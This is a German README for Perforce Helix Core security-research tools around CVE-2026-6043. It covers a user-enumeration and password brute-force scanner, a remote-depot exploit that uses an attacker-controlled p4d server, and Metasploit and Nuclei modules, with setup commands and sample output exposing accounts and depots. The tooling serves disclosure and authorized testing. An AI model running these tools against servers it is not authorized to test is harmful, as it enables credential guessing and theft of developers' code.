
Perforce Sicherheitsforschung und -werkzeuge - CVE-2026-6043
Sicherheitsforschungstools und Nuclei-Vorlagen für Perforce (Helix Core).
Forschungsartikel: https://morganrobertson.net/p4wned/
Bitte lesen Sie die obigen Informationen für vollständige Details.
Nur für autorisierte Ziele. Verwenden Sie es nur auf Ihren eigenen Servern oder mit ausdrücklicher schriftlicher Genehmigung.
Zielgruppe: Perforce-Serveradministratoren, Penetrationstester, Sicherheitsingenieure
Update Mai 2026: Perforce 2026.1 wurde veröffentlicht. Diese Version wird mit sicheren Standardeinstellungen ausgeliefert! Sehr erfreut, diese Veröffentlichung zum Schutz von Entwickler-IP zu sehen. Mehr dazu hier.
Hinweis: Diese Tools suchen nach den Fehlkonfigurationen, die aus CVE-2026-6043 resultieren.
| Tool | Erfordert |
|---|---|
p4wned.py | Python 3, p4 CLI-Binärdatei (siehe unten) |
p4ghost.py | Python 3, p4 CLI-Binärdatei, lokale p4d-Instanz (siehe Setup unten) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (siehe p4-auth-hammer/README.md) |
| JavaScript-Tools | Node.js (keine externen Abhängigkeiten) |
| Nuclei-Vorlagen | Nuclei v3+ |
| Metasploit-Module | Metasploit Framework |
Beschaffung der p4-Binärdatei (erforderlich für p4wned.py und p4ghost.py):
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Perforce-Server exponieren ein benutzerdefiniertes binäres TCP-Protokoll (Standardport 1666). Viele Installationen werden mit unsicheren Standardeinstellungen ausgeliefert – unauthentifizierte Benutzerauflistung, Serverinformationspreisgabe, zugängliche Remote-Depots, keine Passwortanforderungen und keine Ratenbegrenzung bei Anmeldeversuchen. Alle hier aufgeführten Tools nutzen diese Standardeinstellungen ohne Anmeldeinformationen aus.
Der primäre Scanner. Verwendet die p4 CLI-Binärdatei, um Benutzer aufzulisten, Anmeldeinformationen zu testen, Depots aufzulisten und einen Bericht zu erstellen.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Optionen:
| Flag | Beschreibung |
|---|---|
-brute | Aktiviert den Brute-Force-Modus – testet Passwörter gegen alle entdeckten Benutzerkonten |
-audit | Gründlicher Prüfmodus – testet alle Benutzer weiter, auch nachdem eine Sicherheitslücke gefunden wurde |
-parallel N | Anzahl paralleler Passwortversuche (Standard: 1) |
Konfiguration (am Anfang des Skripts bearbeiten):
| Variable | Beschreibung |
|---|---|
INPUT_FILE | Zielliste (ip:port, eine pro Zeile) – Standard perforce-servers.txt |
P4_CMD | Pfad zur p4-Binärdatei – Standard ./p4 |
TOP_PASSWORDS_FILE | Wortliste für Brute-Force – Standard top-passwords.txt |
KNOWN_CREDS_FILE | Bekannte Anmeldeinformationspaare, die zuerst versucht werden |
REPORT_FILE | Pfad zum Ausgabebericht |
Was es macht:
run.users.authorize=0)super-Gruppenmitgliedschaft bei kompromittierten KontenKonsolenausgabe:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Berichtsdatei (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testet auf unauthentifizierten Remote-Depot-Zugriff über den versteckten remote-Benutzer. Der Exploit funktioniert, indem eine angreifergesteuerte p4d-Instanz lokal ausgeführt wird – der Zielserver verbindet sich als Teil des Server-zu-Server-Protokolls zurück zu dieser Instanz und gibt dabei seine Depot-Dateiauflistung preis.
Setup (einmalig):
# Unterliegt den Perforce-Nutzungsbedingungen: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Einen einfachen ASCII-p4d auf Port 1818 starten (wird als Angreiferserver verwendet)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Einen Unicode-p4d auf einem separaten Port (1819) für Unicode-Ziele starten
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # In Unicode-Modus konvertieren
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Beispielaufruf mit den lokalen Angreiferservern von oben
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumente:
| Flag | Beschreibung |
|---|---|
input_file | Zielliste (ip:port, eine pro Zeile) |
-skipnolicense | Überspringt Server, die Server license: none zurückgeben |
-report FILE | Pfad zum Ausgabebericht |
-p4cmd PATH | Pfad zur p4-Binärdatei (Standard ./p4) |
-unicodeport PORT | Lokaler Unicode-p4d-Port, der als Angreiferserver verwendet wird |
-nonunicodeport PORT | Lokaler Nicht-Unicode-p4d-Port |
-timeout SECS | Befehlstimeout |